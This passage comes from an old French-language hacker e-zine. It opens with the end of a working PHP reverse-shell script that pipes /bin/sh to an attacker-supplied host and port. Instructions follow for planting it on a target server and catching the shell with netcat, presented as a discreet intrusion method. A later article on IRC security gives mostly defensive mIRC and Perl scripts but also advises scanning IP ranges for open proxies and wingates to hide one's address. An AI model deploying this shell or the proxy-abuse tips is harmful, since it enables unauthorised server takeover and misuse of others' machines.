                     </FORM></BODY></HTML>");					// envoyer le shell


}

        set_time_limit(0);	// on désactive la limite en temps pour que le shell puisse rouler
				// le temps nécessaire.


	// on ouvre un socket vers le host qui recevra le shell
        $socket = fsockopen($_POST["hostname"],$_POST["port"],$errno,$errstr,10);
        if (!$socket) die("Unable to connect");




	// La partie qui suit invoque /bin/sh
	
        $descriptorspec = array(
           0 => array("pipe", "r"),  // STDIN
           1 => array("pipe", "w"),  // STDOUT
           2 => array("pipe", "r") // STDERR
        );


        $process = proc_open('/bin/sh', $descriptorspec, $pipes);

        if (is_resource($process)) { 		// si cest valide
    
        while(1)
        {
                $tocheck = array($pipes[1],$pipes[2],$socket);	// l'array contenant les descriptors
								// a verifier, soit: STDIN,STDERR et SOCKET


		// On multiplexe et on verifie quels sont les descripteurs qui ont besoin d'etre gerer.
		// Quand cela se produit on "forward" les donnees tout simplement.

                $int = stream_select($tocheck,$a =NULL,$b = NULL,0);

                if (in_array($pipes[1],$tocheck)) {
                        $input = fread($pipes[1],4999);
                        if (strlen($input)==0) die("No more joy (Software exists?)");
                        fwrite($socket,$input);
                }

                if (in_array($pipes[2],$tocheck)) {
                        $input = fread($pipes[2],4999);
                        if (strlen($input)==0) die("No more joy");
                        fwrite($socket,$input);
                }

                if (in_array($socket,$tocheck)) {
                        $input = fread($socket,4999);
                        if (strlen($input) == 0) die("No more joy, client left");
                        fwrite($pipes[0],$input);
                }

        }

        }

       die();

?>

--------------------------------SNIP HERE-------------------------------------------------


 
How fulfilling, du beau code PHP. Maintenant passons aux explications: Pour utiliser ce code, 
copier-coller le sur le serveur cible. Installer netcat sur votre PC, si vous etes  sous  BSD 
ou Linux c’est très standard sinon (pour Windows): 

 ftp://ftp.dbnet.ece.ntua.gr/pub/users/george/nc.exe

Lancer: nc.exe -l -p 31337 (le port 31337 peut être remplacer par ce  que  vous  voulez).  Le 
serveur  WEB  contenant  votre  shell  script  se  connecter sur votre machine au port voulu. 
Assurez-vous donc de ne pas avoir de firewall qui veut rien savoir de  laisser  la  connexion 
passer.
 
Une  fois  netcat lancer, ouvrer le script PHP via un browser tel que   FireFox, IE, Galleon, 
Epiphany, ou n’importe quel autre fork de gecko/mozilla. Dans la page web entrer  votre IP et 
le PORT choisi,  cliquez sur GO et voila, vous avez un beau shell "nobody" très kitch.

A noter que vous ne verrez pas le shell prompt, donc vous devez taper les commandes  dans  le 
vide. J'aurais  bien aimé vous offrir mieux, mais netcat est un logiciel beaucoup  trop  dumb 
pour supporter un vrai terminal telnet :) Si quelqu'un met la main sur un telnet listener qui 
a du sens, faite moi signe.

En conclusion, si vous etes encore la, c'est une façon simple et pratique qui est quand  même 
assez dissimuler de menez a bien votre intrusion. A noter que cela ne fonctionnera pas si:

 - Le serveur est CHROOTED (of course)
 - La version de PHP est trop vieille (<4.3.0)
 - La configuration de php.ini désactive l'utilisation de proc_open ou  
   de fsockopen

En  terminant,  sur  toutes  les  versions < 5.0 il semblerait que STDERR n'est pas rediriger 
convenablement. Détail mineur, mais ça peut être pratique d'avoir les erreurs.

Sur ce, bon plaisir.

                                               __2.psychadelic-toasters-dont-like-white-bread



  ________________________________________________________________  ____   __   __ 
 /   ___________________________________________________________  ____   __   _  /, `
 \  /   \[:P]/      \_____                                                   ___/    ;
 |\/  '  \__/ . ' ;   |  \____           /:/=[  Info-Pubs  ]=\:\         _____/  x  ` 
 || `  ()            -+-   \____   ________________________   ____ ____   /  ,   . |  ,
 || + .  . ` ; ` : `  | x  ,  :/ _/ , x      ;  '  . .  +  \_ \   \\_ x\_ \      -=+=-
 ||  ____  ____    __     _    // _      '_    ___  ________ \\_` \_ \ _ \\_   .  `| ,
 ||.|                                                        \_ \   \\_  \_ \         `
 || |                                                          \\_  \_ \   \\_ M  ; . X
 || |                                                          \_ \   \\_  \_ \ K      
 || |                                                            \\_  \_ \   \\_ -  : '
 ||`|                                                            \_ \   \\_  \_ \ 1   
 || |<ReD|WoLf> Quelqu'un s'y connais en hack SVP                  \\_  \_ \   \\_ 1  + 
 || |<ReD|WoLf> je vient de me faire freezzer mes 2 compte hotmail \_ \   \\_  \_ \ 1   
 ||'|<ReD|WoLf> 1 payer et 1 gratuit                                 \\_  \_ \   \\_  x 
 || |<ReD|WoLf> alors quelqu'un peut m'aider SVP                     \_ \   \\_  \_ \  `
 || |* ReD|WoLf has left #hack.fr (Fuck les hacker)                    \\_  \_ \   \\_  
 ||,|                                                                  \_ \   \\_  \_ \.
 || |                                                                    \\_  \_ \  _\\_  
/ | |                                                                    \_ \   \\_/    \
 / ;|                                                                      \\_  \_       |
 /  |__________________  __________   _____     ___     _      _      ___ _\_ \__/       |
 /\_____ ` + . _// ` x ,   ,   `    ; X  `           :      .   -+-  :    ,  \\_/        |
\\_     \_____/  /___________  +  :  .    ,  ` x  ,     " ,   .  `   .   ____\           |
\_ \                        \___________________________________________/                |
  \\_ /:/=[ Pour de l'aide, demander un hacker de #hack.fr...                     ]=\:\  |
  \__\__________________________________________________________________________________/ 





  ________________________________________________________________  ____   __   __ 
 /   ___________________________________________________________  ____   __   _  / `
 \  /   \[13]/ +   ,\_____                                                   ___/ .  `
 |\/   , \__/  .        \____ /:/=[ Sécurité sur IRC            ] =\:\ _____/  `  x
 || ,    .         "   :X  \_______________________________   ____ ____   /    ,  `  `
 ||         +  ,   () .         x  , .           `   '   ` \_ \  ,\\_ +\_ \ 'M  ` |  .
 ||   ` |  `       ,      `   ,         +  ,  ` ,--,   +   . \\_  \_ \ , \\_  K  -+-   
/ |+   -+-    .        ,       `      ,       ,',/ ,'.       \_ \ . \\_  \_ \  -  |   `
 /    . |  ;     +         +  .   `   | :  .  :`` ,_):   '   ` \\_  \_ \   \\_` 1   ,  
 / ` .      .        x          ,  .-=+=-     `. ,. ,'  ` ,    \_ \ + \\_` \_ \  1
 /\_____  x    ' ,      . . X         |   `     `--'  `      `   \\_  \_ \ , \\_  1 +
\\_     \___________________ ,  .  .  ` ,  +  '   ,    , ; x   ._\  \___\\___\  \ .   
\_ \                        \__________________________________/                 \  ` ,
  \\_ /:/=[ Aka: spa pcq c'est pas leet qui faut être stupide              ]=\:\  \    
  \__\__________________________________________   ______________________________  \`  
                                                \__\                            /__/   
                                                  \\_ /:/=[    Ninja     ]=\:\ _//     
                                                  \__\________________________/__/ 
                               Securité sur IRC

Résumé

   Petit text qui réflète les méthodes que j'utilisent afin de me "protéger" sur les serveurs 
IRC. Je ne suggère pas que mes méthodes sont parfaites ni efficaces, mais disons qu'elles ont 
faites leurs preuvent jusqu'à maintenant.  Cetainnes  de  ces  méthodes  doivent  modifier le 
comportement du client IRC  utilisé, j'ai donc fourni, lorsque nécessaire, un exemple du code 
à utiliser.

Table des matières
   1. Introduction
   2. Pourquoi
   3. Comment
      3.1 Rendre anonyme notre client
      3.2 Auto-Get, Auto-Send, Auto-Chat
      3.3 Securiser ses scripts
      3.4 Trojans, virus, vers
      3.5 Proxy, Wingate, Bouncer
      3.6 La commande 'mode +x'
      3.7 Serveur IRC sécuritaire (encryption SSL)
      3.8 Règles de base
   4. Conclusion

1. Introduction

   Imaginons la situation suivante: votre système est vulnérable. Une personne   malveillante 
   peut donc avoir un accès complet à votre ordinateur. Celà veut  dire  qu'il  peut faire ce 
   qu'il lui plait: Accèder à vos fichiers, scanner pour  d'autre  système  à attaquer, faire 
   des attaque de denis de service (DoS) sur d'autre système, effacer vos fichiers, etc.

   Même  si  vous  n'avez  aucuns  fichiers  qui  vaut  la peine d'être protégé, les systèmes 
   vulnérables sont souvant utilisés pour lancer  des  attaques  sur  d'autre  système,  vous 
   fesant parraitre comme l'auteur de ces attaques et  vous  expose  aux  actions criminel et 
   civil.

   De nos jours, les attaques à  grande  échelle  sont  fondées  sur  un  réseaux de systèmes 
   vulnérable, car les systèmes des utilisateurs moyen sont presque toujours mal protégés. En 
   prenant le temps de sécuriser votre système  contre  les  intrusions,  et  en   réagissant 
   rapidement et correctement au cas où votre  système  soit compromis, vous vous prévenez de 
   devenir un participant non-solicité pour ces attaques.

2. Pourquoi

   Je  suis  sure  que vous comprenez l'importance de sécuriser votre système  contre  toutes 
   formes d'intrusions. Mais peut-être vous ne voyez pas vraiment  l'utilité  de  la sécurité 
   sur IRC, ou vous vous demandez peut-être en quoi consiste la sécurité sur IRC. Laissez moi 
   vous expliquer pourquoi, selon moi,  il  est important de tenir compte de la sécurité lors 
   de vos session de bavardages sur les réseaux IRC.

   Supposons que vous avez passé des heures à configurer  votre  système  et  ces  différents 
   programmes afin que votre système soit protégé. Vous vous  êtes  arrangé  pour   qu'aucune 
   informations sensibles, qui puissent amener votre  système  à être vulnérable, ne puissent 
   être obtenu par une personne  malveillante.  Ces  informations  peuvent  être  le  type de 
   système d'exploitation  que vous utilisé et son numéro de version, les différents services 
   web (httpd, ftpd, sshd, etc.) ainsi que leur numéro de version, etc. Mais vous  utilisé un 
   vulgère  client  IRC  qui vous semble tout à fait inoffensif et vous ne vous en préoccupez 
   pas. Eh bien!, tout vos efforts ont été pratiquement  fait  en vain, puisque ce client est 
   susceptible de donner certainnes  des informations que vous avez pris la peines de cacher. 
   De plus, il est  possible  que ce vulgère client est une faille de sécurité qui permette à 
   une personne d'exécuter du code arbitraire, et ainsi prendre contrôle de votre ordinateur.

3. Comment

   3.1 Rendre anonyme notre client

      Malgré le fait que le protocol définie dans le RFC-1459 ne fait aucunement  allusion au 
      CTCP (Client To Client Protocol), la majorité des client IRC  on  une implémentation de 
      ce dernier. Même si ce protocol n'a jamais été  officiellement  standardisé,  un effort 
      collectif de différents  auteurs  de  client  IRC on permits au protocol de survivre au 
      temps et de coller à un standard officieux.

      Il est très facile de determiner quel client vous utilisez,  ainsi que sa version et le 
      système d'exploitation que vous utilisez. On  peut  donc trouver aisément une faille de 
      securité soit pour le client, soit  pour  le système d'exploitation. Il est entendu que 
      d'autres méthodes  peuvent  être  utilise  pour  trouver  quel  client  et/ou   système 
      d'exploitation  vous  utilisez,  mais  elles ne sont pas dans "scope" de ce texte. Nous
      devons donc empêcher le client de divulger des informations qui pourraient  compromette 
      votre securité ou fausser ces dernières afin de brouiller vos traces. L'attaqueur devra 
      donc redoubler  d'effort  afin  d'obtenir  ces  informations.  Voici  les   differentes 
      commandes CTCP que le standard officieux recommande au client d'implementer:

      VERSION,
         Cette requête va donner à l'initiateur des informations particuliaires  à  propos du 
         client utilisé par le récepteur. Une requête valide  ne  possèdera  pas  d'argument. 
         Elle régnérera une réponse dans la forme  générale ci-dessous, avec trois champ dans 
         la réponse:

            Champ1: Nom du client et sa version
            Champ2: Nom du système d'exploitation et sa version
            Champ3: Contact de l'individu/organisation responsable du client

         Les champs doivent être combiné comme suit:

             <marker>VERSION <field1> <field2> <field3><marker>

         Ex.:
            mIRC
               mIRC32 v5.91 K.Mardam-Bey
               mIRC v6.02 Khaled Mardam-Bey
               mIRC v6.03 Khaled Mardam-Bey
               mIRC v6.11 Khaled Mardam-Bey
               mIRC v6.12 Khaled Mardam-Bey
               mIRC v6.14 Khaled Mardam-Bey
               mIRC v6.16 Khaled Mardam-Bey
            x-chat
               xchat 1.8.9 Linux 2.6.4-ALIZEE [i686/251MHz]
               xchat 2.4.1 Windows 5.1 [i1586/2,79GHz]
               xchat 2.4.1 Linux 2.6.8-1-386 [i686/908.62MHz]
            BitchX
               BitchX-1.0c19+ by panasync - Linux 2.4.20 : Keep it to yourself!
            KVIrc
               KVIrc 3.0.1 'System Virtue' - 2004.03.24 -
                  build Sun Jan 16 04:20:59 UTC 2005 - i686-cefikoprstAGST
            IRSSI
               irssi v0.8.9 - running on Linux i686
               irssi v0.8.9 - running on NetBSD i386
            Eggdrop
               eggdrop v1.4.4
               eggdrop v1.6.16

      PING,

         Cette requête à comme but de déterminer le délai du voyage que prendra un message de 
         l'initiateur au destinataire  et  de  nouveau  à  l'initiateur.  Le destinataire est 
         requis  de  renvoyer  une  reproduction exact de l'argument reçu, sans modification. 
         Chaque client définira  son propre format pour l'argument de 16 octets. Les requêtes 
         avec  des  arguments  plus  long  que  16  caractères devraient être silencieusement 
         ignorés.

         La réponse sera du format suivant:

             <marker>PONG <arg><marker>

      ACTION,

         Cette requête est utlisé afin de fournir une méthode alternative de communiquer avec 
         un autre utilisateur ou un canal. Le texte devrait  être traite de façon similaire à 
         celui d'une requête PRIVMSG tel que défini dans le RFC1459.

         Aucune réponse n'est généré suite a cette requête.

      Les commandes CTCP suivante ne sont plus supporté par la majorité,  sinon  la totalité, 
      des clients IRC actuel même si il sont "require" selon le protocol officieux:
      
         CLIENTINFO, (seul BitchX semble encore supporter cette commande)
            Cette requête est utilisé pour connaître les capacités du client  utilisé  par le 
            récepteur. La réponse sera une liste de commandes  valide, reconnu par le client, 
            séparré par des espaces.  L'implémentation  courrante de cette commande permet de 
            passer  en  argument  une  commande  supporté  par  le  client  pour  obtenir  de
            l'informations supplémentaire sur cette dernière.

      La seul commande CTCP qui nous intéresse dans ce cas ci est VERSION,  qui  nous  permet 
      d'obtenir  des  informations  en  rapport  avec  le  client  utilisé  et  le    système 
      d'exploitation.  Notez  aussi que certains scripts disponible  pour  certains   clients 
      modifient la réponse du CTCP VERSION, souvant en  votre  faveur,  mais  certains  donne 
      encore plus d'informations que ce que le client aurait fourni.

      Comme X-Chat et BitchX permettent de modifier les requête CTCP  VERSION  et  autres  de 
      façon relativement simple, enfin je crois, je ne  fournirai  pas  de  script  pour  ces 
      derniers. Voici donc, un script écrit pour mIRC afin  de  fausser la réponse suite à un 
      CTCP VERSION.
      =--------------------CUT HERE-------------------=
      ; Puisque mIRC à son CTCP VERSION reply hardcoded, nous ne pouvons pas
      ; simplement utiliser le code suivant:
      ;    ctcp &*:VERSION:*:/ctcpreply $nick VERSION BlaBla | /halt
      ; Alors nous devons faire un petit "hack" pour arriver a notre fin.
      ;
      ; Premièrment, lors de la connexion, nous allons créer une fenêtre debug
      ; qui ne serait qu'accesible par la "windows list" de mIRC à partir du
      ; menu "Windows" (l'option -h). Cette fenêtre aura comme nom
      ; @Debug<server_connection_id>, donc aucun conflit si vous êtes connecté
      ; sur plus d'un server à la fois.
      on *:connect:{
        .window -h $+(@Debug,$cid)
      ; Ensuite nous ordonnons à mIRC d'appler la fonction Parse_Debug, à chaque
      ; message que le serveur lui envois et vise versa, avec comme argument le
      ; message "raw", donc dans le format spécifier par le RFC1459. Le résultat
      ; retourné par la fontion Parse_Debug serait affiché dans nos fenêtres
      ; debug. En fait, la fontion ne retournera rien.
        .debug -i $+(@Debug,$cid) Parse_Debug
      ; Ensuite nous ignorons les requête ctcp venant de n'importe qui seulement
      ; pour la connection courante.
        .ignore -t *!*@*
      }
      ; Voici l'alias Parse_Debug qui va nous permettre de voir lorsque des
      ; requête CTCP VERSION nous sont envoyé, et générer notre propre réponse.
      ; Voici à quoi ressemblera un requête CTCP VERSION format "raw":
      ;    <- :Ninja|tux!~ufmow@66.201.225.99 PRIVMSG Ninja|code :VERSION
      ; Veillez noter que le '<-' est rajouter par mIRC pour qu'il soit plus
      ; claire si le message arrive du serveur ou si c'est un message que nous
      ; envoyons au serveur. Les deux caractères bizzard entourant le mot
      ; VERSION sont en fait des délimiteurs, le code ASCII de ce caratère est:
      ; DECIMAL | OCTAL | HEXA | CARATÈRE | DESCRIPTION
      ;    1        1      01       SOH     Start of header
      alias Debug_Parse {
        tokenize 58 $1-
        if ($gettok($3,1,1) == VERSION) {
          var %my_nickreply $gettok($2,1,33)
          var %my_ctcpecho $+($chr(91),[ [ %my_nickreply ] ],$chr(32),VERSION,$chr(93))
          echo $color(Ctcp text) -a %my_ctcpecho
          .ctcpreply %my_nickreply VERSION Why you need to know?
        }
      }
      ; Simple question de sanité, pour éviter les risques de multiplication de
      ; fenêtres @Debug<N>, losque vous perdez la connection avec le serveur
      ; nous arrêtons le debug et fermons la fenêtre. Et puis pour ne pas
      ; remplir inutilement la ignore list ou risquer de foutre le bordel dans
      ; votre "ignore list", nous y enlèverons notre entrée.
      on *:disconnect:{
        .debug -c off
        .ignore -tr *!*@*
      }
      on *:exit:{
        ; pas besoin d'arrêter le debug puisque nous quittons, mIRC s'en occupe
        ; automatiquement.
        ; Comme nous quittons TOUS les serveurs, nous enlevons TOUS les entrées
        ; que nous avons créé (-w)
        .ignore -twr *!*@*
      }
      =--------------------CUT HERE-------------------=

   3.2 Auto-Get, Auto-Send, Auto-Chat

      Certains  client  IRC  offrent  des  options qui permettent l'envoie et la reception de 
      fichiers  automatiquement,  ou  de  démarrer  des  sessions   de    bavardage    (chat) 
      automatiquement. Si ces  options  sont  activées,  elles  permettent  a  n'importe  qui 
      d'obtenir votre adresse ip. De plus, il se peut  qu'un client soit vulnérable à un type 
      d'attaque relier à l'envoie et à la réception de fichier ou de session de bavardage, et 
      l'automatisation des ces dispositifs vous rend un cible idéale.

      Il  est  préférable  d'utiliser  des  "trigger"  qui  vont  former un pseudo-mechanisme 
      d'identification pour ensuite initier l'envoie/reception de fichiers ou de démarrer une 
      session de bavardage (chat). Une sorte de vérification sanitaire afin d'éviter certains 
      type d'attaques. Ces  "trigger"  peuvent  être  simplement  une  requête  (ou  suite de 
      requêtes) CTCP, un PRIVMSG, un NOTICE, etc.
      
      Voici un exemple simple, en PERL, écrit pour X-Chat. Le trigger consiste  en une simple 
      requête CTCP.
      =--------------------CUT HERE-------------------=
      #!/usr/bin/perl

      use strict;
      use warnings;

      # Variables
      my $PKG     = __PACKAGE__;
      my $NAME    = "DCC Trigger Protection";
      my $VERSION = "1.0";
      my $H_MSG   = "PRIVMSG";
      my $TRIGGER = "DCCTRIGGER";
      my $DESC    = "pseudo-mechanisme d'identification pour initier les DCC.";

      # On doit absoluement enregistrer notre script auprès de xchat avant de
      # faire quoi que ce soit.
      Xchat::register($NAME, $VERSION, $DESC, "${PKG}::callback");
      # On 'hook' le message $H_MSG
      Xchat::hook_server($H_MSG, "${PKG}::parseTrigger");
      Xchat::print("\02$NAME $VERSION\02 by Ninja");

      # On ignore toutes les requêtes de connexions DCC
      Xchat::command('IGNORE *!*@* DCC NOSAVE QUIET');

      sub parseTrigger {
            my ($rawuserhost, $cmd, $nick, @rawdata) = @{$_[0]};
            my (undef, $userhost) = split(':',$rawuserhost);
            my ($snick, undef) = split('!',$userhost);
            my (undef, $data) = split(':',(@rawdata)[0]);

            if ($data eq $TRIGGER) {
                  # On ajoute l'instigateur à la liste d'exception
                  Xchat::command(
                        'IGNORE '.
                        $userhost.
                        ' DCC NOSAVE QUIET UNIGNORE'
                        );
                  # On laisse 5 minutes pour initier une requête DCC
                  Xchat::command(
                        'QUOTE PRIVMSG '.
                        $snick.
                        ' :Vous avez 5 minutes pour initier votre requête DCC.'
                        );
                  Xchat::command(
                        'TIMER 300 UNIGNORE '.
                        $userhost.
                        ' QUIET'
                        );
                  return Xchat::EAT_ALL;
            }
	
            return Xchat::EAT_NONE;
      }

      sub callback {
            Xchat::command('UNIGNORE *!*@* DCC UNIGNORE');
      }

      1;
      =--------------------CUT HERE-------------------=

   3.3 Securiser ses scripts

      Ne jamais utiliser des mecanisme d'autentification basé uniquement  sur  des  nicknames 
      et/ou hostnames. Meme si il sagit de host unique (offert par  different  network) parce 
      qu'il son suceptible d'être utilisé/voler par une  personne  malveillante.  Vous pouvez 
      utiliser le nick et  le  host  dans  des  mechanisme d'autentification seulement si ils 
      servent de support a  un  autre méchanisme d'autentifiaction. N'utilisez pas de scripts 
      qui vous permettent de vous auto-identifier auprès d'un service ou  d'un  bot puisqu'il 
      requière que le mot de pass et le nom d'utilisateur soient  conservés  en  quelque part 
      (généralement un fichier). Il est donc possible,  si  votre  système est compromis, que 
      quelqu'un accède à ce fichier et vole les  informations  qu'il contien. Il est possible 
      aussi qu'une personne ce  soit  emparré  du  nick  d'un  bot  auprès  duquel  vous vous 
      identifiez, obtenant  ainsi votre nom d'utilisateur et votre mot-de-passe lors de votre
      tentative d'authetification. Vérifiez la validité du service ou bot et  identifiez vous 
      manuellement auprès de ces derniers. Utilisez des mots de  passe  sécuritaire.  Ce  que 
      j'entend par mot  de  passe  sécuritaire  c'est  qu'il  doit  être  long,  que  le  mot 
      n'apparaise pas dans le dictionnaire,  qu'il soit constitué de combinaison de caractère 
      alpha-numerique (chiffres  et  lettres)  et  si  le  système d'identification est 'case 
      sensitive',  profitez en. Très, très important, changer vos mots de passe régulièrement
      (une fois par mois n'est pas exagéré). Essayez aussi  différentes  combinaisons  chaque 
      mois. Aussi très important, ne JAMAIS garder une liste  de  vos mots de passe sur votre 
      ordinateur, il est plus sécuritaire de les  écrire  sur  papier ou dans un livret gardé 
      dans un endroit sécure et/ou secret.

   3.4 Trojan, virus, vers

      Certains scripts/addons changent complètement le fonctionnement habituel   de  certains 
      client  IRC.  Il  est  bien  important  de  prendre  conscience  que  certains  de  ses 
      scripts/addons peuvent contenir des backdoor, des virus ou  des  vers. Ils peuvent donc 
      permettrent, sans que vous en soiyez conscient,  un access à votre ordinateur ou lancer 
      des attaques. Il est primordiale que celui qui utilise un script/addon qui n'est pas de 
      sa conception, connaisse ce que chaque ligne de code fait exactement.
      
      Voici une liste de chose que vous devez ou ne devez pas faire afin de vous  assurez  de 
      n'être "jamais" infecté par un Trojan, virus, vers, etc.:
      
      - Ne jamais cliquer sur les liens qui sont publiés sous IRC en provenance  de quelqu'un 
        que vous ne connaissez pas.
      - Ne  jamais  accepter des fichiers de quelqu'un que vous ne connaissez pas.  (voir  la 
        section 3.2 pour plus de détails)
      - Garder votre système à jour. Avec plus de  200  nouveaux  virus  reportés  par  mois, 
        demain n'est pas le temps de mettre à jour votre système mais aujourd'hui.  Installez 
        toutes les patches de sécurité de votre système  d'exploitation,  de votre navigateur 
        web (si par malheure vous cliquez  sur  un  mauvais  lien)  et  de  votre logiciel de 
        courriel nécessaires.

   3.5 Proxy, Wingate, Bouncer

      La  façon  la  plus  simple  de cacher son adresse IP lors de vos sessions IRC  est  en  
      passant par un/des Proxys/Socks ou Wingates/Sygates/TelGates.

      Il  n'est  pas  très difficile de trouver des proxys fonctionnels, une simple recherche 
      sur google avec les terme "proxy" et "list" vous retourne des  centaines de sites. Bien 
      entendu, ce n'est pas tout les proxys qui vont  vous  authoriser  à les utiliser, alors 
      parcourrez les différentes listes et  testez  ceux  que  vous pouvez utiliser pour vous 
      'bouncer' sur IRC. Une  autre  façon de trouver des proxys est en scannant des segments 
      d'ip  à  là  recherche  des  ports  8080,  3128, 81 et 80 ou pour des serveurs socks en 
      scannant pour le port 1080. Encore une fois, testez si ces serveurs vous  permettent de 
      vous 'bouncer' sur IRC. Prenez garde, la pluparts des serveurs proxy gardent des 'logs' 
      des connections faites. Donc il est  possible,  si l'effort y est mis, de vous retracer 
      grace à ces 'logs'. Malheureusement, il est maintenant rare de pouvoir se connecter sur 
      des serveurs IRC par l'intermédiaire de proxy, puisse que la majorité vérifie  lors  de 
      la connection si vous tentez de vous connecter par un serveur  proxy/socks  et si c'est 
      le cas, la connection est interrompu. La vérification que font la plupars  des  serveur 
      IRC n'est pas incontournable,  ils  scan simplement l'adresse par laquel vous tentez de 
      vous connecter  pour  les  'well  known' ports de proxy. Mais si le proxy oblige un nom
      d'utilisateur et/ou mot de passe effectuer la connection, les serveur IRC  ne couperont 
      pas votre connexion.

      En ce qui concerne les WinGates/SyGates/TelGates, le fonctionnement  peut-être  un  peu 
      plus   complexe  qu'un  proxy  (dépends  des  type  de  wingates/sygates  et  de  leurs 
      configurations). Les WinGates permettent au gens de partager une connection sortante et 
      la plupars sont simplement mal configuré, et permettent ainsi les connections venant de 
      n'importe où. De  nos  jours, les WinGates opérationnels sont très dure à trouver et ne
      fonctionneront pas longtemps, éventuellement quelqu'un va se rendre compte  qu'il à été 
      mal configuré et va ou va faire fixer le problème. Encore une  fois,  googler  les mots 
      suivant: "wingate" et "lists". Il est aussi possible d'utiliser des scanner de wingates 
      pour les trouver vous même. Il  y  a  beaucoup  de  scanner  de  disponible,  faite une 
      recherche, ça ne devrait pas être très dur à trouver.

      Une autre façon de cacher son ip est de passer par  un  'bouncer'.  Il  y  a  plusieurs 
      'bouncer' *nix et certains on été porté pour windows (plus sur ce sujet plus loin). Ils 
      sont conçus uniquement pour les session IRC et  fonction  comme  des  proxy  IRC.  Pour 
      utiliser un 'bouncer' il faut  premièrement un compte 'shell', autement dit, un accès à 
      une machine *nix  qui permet les processus en arrière-plan et les connexions sortantes. 
      Mais  la plupars des fournisseur de compte 'shell' gratuit ne les autorises pas,  alors 
      vous devez vous en payer un, sinon bonne chance dans votre  recherche.  La p lupars des 
      fournisseur de 'shell' on aussi ce qu'on appel  des  vhost,  nom de domaine vituel, qui 
      vous permettent de changer votre 'hostname' et de choisir parmis une liste.

      Un exemple:
        Connecter sur un serveur IRC directement, votre 'hostname' ressemble a
        ceci:
          dsl-154-13.aei.ca
          ou
          200-161-141-54.dsl.telesp.net.br
        Connecter sur un serveur IRC par l'intermédaire d'un 'bouncer' avec
        support vhost, votre 'hostname' ressemble a ceci:
          hahaha.undernetsucks.info
          ou
          PLZ.Dont.Ddos.My.56K.vid3otron.biz
          ou
          vive.les.femmes.enchaleur.biz
      Les  vhost  varies  entre  les  différent  fournisseurs de 'shell' et la façon  de  les 
      assigné aussi.

      Vous  vous  rapplez  surement  que  j'ai  mentionné  les  version  windows de  certains 
      'bouncer'. Je ne vous les recommande pas! Premièrement il  est  pratiquement impossible 
      de trouver un fournisseur   de  'bouncer' qui  fonctionne  sous  windows,  votre   seul 
      alternative est de demander à un ami  d'en  installer  un  sur son ordinateur. De plus, 
      côté stabilité, les plateforme *nix n'ont plus à faire leurs preuves. On ne peut pas en 
      dire autant pour windows.

   3.6 La commande 'mode +x'

      Certains réseaux IRC offrent la possibilité de caché votre adresse  ip  ou  'hostname', 
      soit partiellement ou complètement. Il suffit de taper la  commande suivante dans votre 
      client après vous être connecter au serveur:

        /mode <votre_nick> +x

      Prenez note que le résultat de cette commande diffère d'un réseaux à  l'autre. De plus, 
      le mode peut changer selon le réseaux. Par exemple, sur  LinkNet,  'mode +h'  doit être 
      utilisé. Voici comment fonctionne 'mode +x' (et 'alike') sur les 4 plus gros réseaux:

        QuakeNet (~218 000):
          Pour pouvoir utiliser le mode +x sur QuakeNet, vous devez vous  enregistrer  auprès 
          du service Q. Ensuite, vous vous identifiez à Q comme suit:

            /msg Q@CServe.quakenet.org AUTH <votre_username> <votre_password>

          Ensuite vous mettez le mode +x comme décrit plus haut. Il  est  important  de noter 
          que le mode +x ne fonctionne SEULEMENT lorsque vous  êtes  identifier  aupres de Q. 
          Très important d'utiliser  Q@CServe.quakenet.org  avec  la  commande  login, il est 
          possible que quelqu'un prenne le nick de Q lorsque ce dernier est en netsplit.

        IRCnet (~128 000):
          Ce réseaux ne supporte pas le mode +x ou autres méthodes pour masquer  un hostname. 
          En fait, IRCnet ne possède aucun service.

        Undernet (~121 000):
          Pour pouvoir utiliser le mode +x sur Undernet, vous devez vous  enregistrer  auprès 
          de CService (http://cservice.undernet.org/live/)  puis  vous  identifiez  auprès du 
          robot de service (X) comme suit:

            /msg X@channels.undernet.org login <votre_username> <votre_password>

          Ensuite vous mettez le mode +x comme décrit plus haut. Il  est  important  de noter 
          que le mode +x ne fonctionne SEULEMENT lorsque vous  êtes  identifier  aupres de X. 
          Très important d'utiliser  X@channels.undernet.org  avec  la commande login, il est 
          possible que quelqu'un prenne le nick de X lorsque ce dernier est en netsplit.

        EFnet (~106 000):
          Ce réseaux ne supporte pas le mode +x ou autres méthodes pour masquer un hostname.

      Si vous utiliser le méchanime fournis par le réseaux pour cacher votre adresse au reste 
      du monde, il est préférable de le faire avant de joindre  un  canal.  Je  ne  crois pas 
      avoir besoin de vous expliquer le pourquoi. Mais  malgré  cela,  il  est  possible pour 
      quelqu'un d'obtenir votre adresse avant  que  vous  n'aillez  join  un  salon  et   ce, 
      simplement en connaissant votre  nick  habituel. Donc la façon idéale est de prendre un 
      nick aléatoire avant  de  se  connecter, ensuite utiliser la mode +x ou son équivalant, 
      puis prendre votre nick habituel et finalement joindre vos salons préférés.

   3.7 Serveur IRC sécuritaire (encryption SSL)

      Ce qu'on appel 'Secure IRC', serveur IRC supportant les connexions SSL sécuritaire, est 
      encore relativement rare et les clients IRC qui  le  supportent  nativement  sont   peu 
      nombreux. J'ai eu ouie-dire que xchat avait  le  support le plus mature et complet à ce 
      sujet. Mais si vous préférez un  client  console,  irssi à  aussi un excellent support. 
      Plus sur les différents clients en fin de ce texte.

      'Secure IRC' est un élément intéressant pour tous les maniaques de la  sécurité ou pour 
      les fervant défenceur du droit à la vie privée. Les connections sécuritaires permettent 
      de protéger l'intimité des messages  envoyé  aux  autres  utilisateurs  et  robots   de 
      services, ainsi que de protéger la communication dans n'importe quel salon de bavardage 
      privé.

      Parcontre,  il  faut bien comprendre qu'un serveur qui permet les connexions  normal et 
      sécuritaire ne protège plus à 100% les communications entre  utilisateurs  et  sur  les 
      salons de bavardage. Voici un explication plus  visuel  pour  permettre de mieux saisir 
      cet inconvéniant:

      Prenons l'exemple  d'un  serveur  qui  n'autorise  que  les  connexions sécuritaire. Un 
      client, C1, à établie une connextion sécuritaire avec un serveur, S1.

      +----+  Connexion sécure  +----+
      | C1 |<------------------>| S1 |
      +----+                    +----+

      Un autre client, C2, se connect sur le même serveur, toujours de façon sécuritaire.

      +----+  Connexion sécure  +----+  Connexion sécure  +----+
      | C1 |<------------------>| S1 |<------------------>| C2 |
      +----+                    +----+                    +----+

      Si C1 envoie un message privé à C2, le message en question sera protégé  durant tout le 
      voyage, puisque  les  deux  client  utilise  une  connexion  sécure. Mais si le serveur 
      acceptait aussi les connexions non sécuritaire,  et  que  C2  établie une connexion non 
      sécuritaire avec le serveur, ce même  message  ne  serait  maintenant  plus sécuritaire 
      durant tout le voyage:

